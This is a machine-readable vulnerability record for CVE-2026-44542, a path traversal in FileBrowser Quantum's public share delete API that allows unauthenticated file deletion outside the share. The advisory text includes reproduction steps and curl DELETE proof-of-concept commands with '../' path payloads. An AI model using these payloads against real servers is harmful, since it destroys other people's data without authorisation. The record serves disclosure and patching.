{"id":"CVE-2026-44542","aliases":["CVE-2026-44542","GHSA-fwj3-42wh-8673","GO-2026-5383"],"related":[],"kind":"vulnerability","state":"published","title":"FileBrowser Quantum: Unauthenticated Path Traversal in Public Share Delete Allows Arbitrary File Deletion","summary":"FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to 1.3.1-stable and 1.3.9-beta, attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope. This affects public/api/resources and public/api/resources/bulk. This vulnerability is fixed in 1.3.1-stable and 1.3.9-beta.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to 1.3.1-stable and 1.3.9-beta, attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope. This affects public/api/resources and public/api/resources/bulk. This vulnerability is fixed in 1.3.1-stable and 1.3.9-beta.","source":"cvelist"},{"lang":"en","text":"### **Summary**\n\nAttacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope.\n\n### **Affected Components**\n\n**Two distinct vulnerable code paths:**\n\n1. Stable versions (e.g., gtstef/filebrowser:stable)\n`DELETE /public/api/resources?hash=<hash>&path=../victim`\nRoot cause: middleware.go:111\nIssue: path query parameter is joined before SanitizeUserPath()\n2. Development / HEAD (e.g., commit eabdfd9)\n`DELETE /public/api/resources/bulk?hash=<hash>`\nBody: [{\"path\":\"../victim\"}]\nRoot cause: resource.go:274\nIssue: item.Path is joined before SanitizeUserPath()\n\n### **Steps to reproduce (Stable Version)**\n\n**1. Create a directory structure:**\n\n```\n/folder/shared_subdir/   (shared)\n/folder/protected.txt    (outside shared directory)\n```\n\n**2. Create a public share:**\n```\nPath: /shared_subdir\nAllowDelete=true\n```\n\n**3. Send request:**\n\n```\ncurl -X DELETE \"http://localhost/public/api/resources?hash=<HASH>&path=../protected.txt\"\n\n#Observe:\n#protected.txt is deleted despite being outside the shared directory\n```\n\n### **Proof of Concept (HEAD / bulk endpoint)**\n\n```\ncurl -X DELETE \"http://localhost/public/api/resources/bulk?hash=<HASH>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '[{\"path\":\"../protected.txt\"}]'\n```\n\n### **Alternative PoC Scripts:**\n[poc_v3.sh](https://github.com/user-attachments/files/26159404/poc_v3.sh) (**If the script fails due to environment differences, the manual PoC above reliably reproduces the issue.**)\n\n\n### **Impact**\nAn unauthenticated attacker with access to a public share link configured with delete permissions enabled can delete attacker-chosen files outside the shared directory, anywhere within the share owner’s storage scope. This results in unauthorized data loss and potential service disruption.","format":"markdown","source":"ghsa"},{"lang":"en","text":"FileBrowser Public Share DELETE API Path Traversal Allows Unauthenticated Arbitrary File Deletion in github.com/gtsteffaniak/filebrowser","format":"markdown","source":"go"},{"lang":"es","text":"FileBrowser Quantum es un gestor de archivos gratuito, autoalojado y basado en web. Antes de 1.3.1-stable y 1.3.9-beta, la entrada de ruta controlada por el atacante se une con una ruta base de confianza antes de la sanitización, permitiendo que las secuencias de recorrido (p. ej., .. / ) escapen del directorio compartido previsto. Como resultado, un atacante no autenticado que posea un hash de recurso compartido público válido con permisos de eliminación habilitados puede eliminar archivos arbitrarios fuera del directorio compartido dentro del ámbito de almacenamiento configurado del propietario del recurso compartido. Esto afecta a public/API/resources y public/API/resources/bulk. Esta vulnerabilidad está corregida en 1.3.1-stable y 1.3.9-beta.","source":"nvd"}],"published":"2026-05-07T03:28:06.000Z","modified":"2026-10-25T23:10:00.167Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 1.3.1-stable","status":"affected"},{"version":"< 1.3.9-beta","status":"affected"}],"vendor":"gtsteffaniak","product":"filebrowser","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260501183844-112740bdd41d"}],"ecosystem":"Go","package":"github.com/gtsteffaniak/filebrowser","purl":"pkg:golang/github.com/gtsteffaniak/filebrowser","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260501183844-112740bdd41d"}],"ecosystem":"Go","package":"github.com/gtsteffaniak/filebrowser","purl":"pkg:golang/github.com/gtsteffaniak/filebrowser","source":"go"},{"ranges":[{"status":"affected","fixed":"1.3.1"},{"status":"affected","fixed":"1.3.9"}],"vendor":"gtsteffaniak","product":"filebrowser_quantum","cpe":"cpe:2.3:a:gtsteffaniak:filebrowser_quantum:*:-:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-fwj3-42wh-8673","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44542","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/gtsteffaniak/filebrowser/commit/112740bdd41de7d5eb01e13ba49d406bfc463f69","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/gtsteffaniak/filebrowser","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-15T15:00:31.691Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-44542","url":"https://www.cve.org/CVERecord?id=CVE-2026-44542","licence":"CVE Terms of Use","modified":"2026-05-15T15:03:11.944Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-fwj3-42wh-8673","url":"https://github.com/advisories/GHSA-fwj3-42wh-8673","licence":"CC-BY-4.0","modified":"2026-06-25T19:56:38.896Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5383","url":"https://pkg.go.dev/vuln/GO-2026-5383","licence":"CC-BY-4.0","modified":"2026-06-25T19:45:36.745Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-44542","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44542","licence":"Public domain","modified":"2026-10-25T23:10:00.167Z"}],"updatedAt":"2026-11-25T22:59:21.740Z","epss":{"score":0.00523,"percentile":0.45849,"date":"2026-12-01T12:00:22.000Z"}}